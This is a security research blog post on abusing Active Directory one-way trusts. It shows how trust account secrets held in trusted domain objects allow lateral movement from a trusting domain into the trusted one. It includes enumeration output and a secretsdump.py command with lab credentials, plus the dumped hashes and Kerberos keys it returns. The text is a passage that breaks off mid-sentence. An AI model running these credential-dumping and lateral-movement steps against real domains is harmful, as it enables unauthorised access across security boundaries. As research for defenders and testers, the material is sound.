Published on Tue 10 March 2026 by @lowercase_drm TL;DR: Domain and forest trusts are a well-known research topic . Rather than revisiting all of its aspects, the present article focuses on one-way trusts: the account used for maintaining the trust between domains can be extracted with a new tool, tdo_dump.py from the trusting domain and used to authenticate on the trusted domain. Thus, trusted domain objects can be helpful in performing lateral movement across security boundaries within Windows environments. Introduction Microsoft defines a one-way trust as the following (emphasis ours): A one-way trust is a unidirectional authentication path created between two domains (trust flows in one direction, and access flows in the other). This means that in a one-way trust between a trusted domain and a trusting domain , users or computers in the trusted domain can access resources in the trusting domain. However, users in the trusting domain cannot access resources in the trusted domain . Some one-way trusts can be either nontransitive or transitive, depending on the type of trust being created. The concept is straightforward and can be summed up in a diagram: Two Windows domains, part of two distinct forests, are bound with a one-way trust: offsec.lol trusts admin.yeah . So admin.yeah accounts can authenticate to offsec.lol , but not the other way around... allegedly. To maintain a trust between those forests, a domain account is automatically created on the trusted forest during the trust creation. The samaccounttype of this account is TRUST_ACCOUNT and its useraccountcontrol is (by default) PASSWD_NOTREQD and INTERDOMAIN_TRUST_ACCOUNT . $ python3 pywerview.py get-adobject -u user -p 'Password123!' -w admin.yeah -t datacenter.admin.yeah --custom-filter '(&(samaccountname=OFFSEC$))' objectclass: top, person, organizationalPerson, user cn: OFFSEC$ distinguishedname: CN=OFFSEC$,CN=Users,DC=admin,DC=yeah instancetype: 4 whencreated: 2026-01-11 22:35:13+00:00 whenchanged: 2026-02-03 10:21:37+00:00 usncreated: 16458 usnchanged: 20596 name: OFFSEC$ objectguid: {50b7d6b3-3841-439a-aa50-746c4c4651ca} useraccountcontrol: PASSWD_NOTREQD, INTERDOMAIN_TRUST_ACCOUNT badpwdcount: 0 codepage: 0 countrycode: 0 badpasswordtime: 2026-01-20 13:42:56.589073+00:00 lastlogoff: 1601-01-01 00:00:00+00:00 lastlogon: 2026-02-03 10:21:26.502041+00:00 pwdlastset: 2026-01-19 23:33:57.368069+00:00 primarygroupid: 513 objectsid: S-1-5-21-90235910-180612443-3686036999-1105 accountexpires: 9999-12-31 23:59:59.999999+00:00 logoncount: 30 samaccountname: OFFSEC$ samaccounttype: TRUST_ACCOUNT objectcategory: CN=Person,CN=Schema,CN=Configuration,DC=admin,DC=yeah iscriticalsystemobject: True dscorepropagationdata: 1601-01-01 00:00:00+00:00 lastlogontimestamp: 2026-02-02 23:48:52.505894+00:00 Obviously, the secrets for this account can be dumped by an attacker with Domain Admins privileges on the trusted domain. $ secretsdump.py admin.yeah/Administrator: 'Soleil123!' @datacenter.admin.yeah -just-dc-user 'OFFSEC$' Impacket v0.14.0.dev0+20260114.195536.1a876e02 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets OFFSEC$:1105:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c::: [*] Kerberos keys grabbed OFFSEC$:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960 OFFSEC$:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d OFFSEC$:des-cbc-md5:9d86f852f886f4e9 [*] Cleaning up... However, on the trusting domain, no account is created. This is the expected behavior: the trusting domain does not need to verify identities on the trusted domain because it (trusted) doesn’t trust it (trusting) back. That said, the trusting domain needs to store the password of the account created on the trusted domain. Thus, it is possible for an attacker with Domain admins privileges on the trusting domain to perform lateral movement on the trusted domain. This has already been documented in at least two blogposts : a trusted domain object takeover allows attackers that control the trusting domain to gain Domain Users access on the trusted domain. Trusted domain object According to the documentation , the password is stored in cleartext within a LSAPR_AUTH_INFORMATION structure in a trusted domain object (TDO). It also can be stored as a raw RC4HMAC key but only if the trust relationship is set between a Windows domain and a non-Windows, RFC4120 -compliant Kerberos distribution domain, which is beyond the scope of this blog post. There are already tools capable of dumping trusted domain objects, such as mimikatz or ntdissector . On the left side, the TDO is dumped on offsec.lol on the right side on admin.yeah . On the trusting domain side, the IN part of the TDO is empty and on the trusted side the OUT part is also empty, confirming that the trust is one-way. You can also see that the trust password history...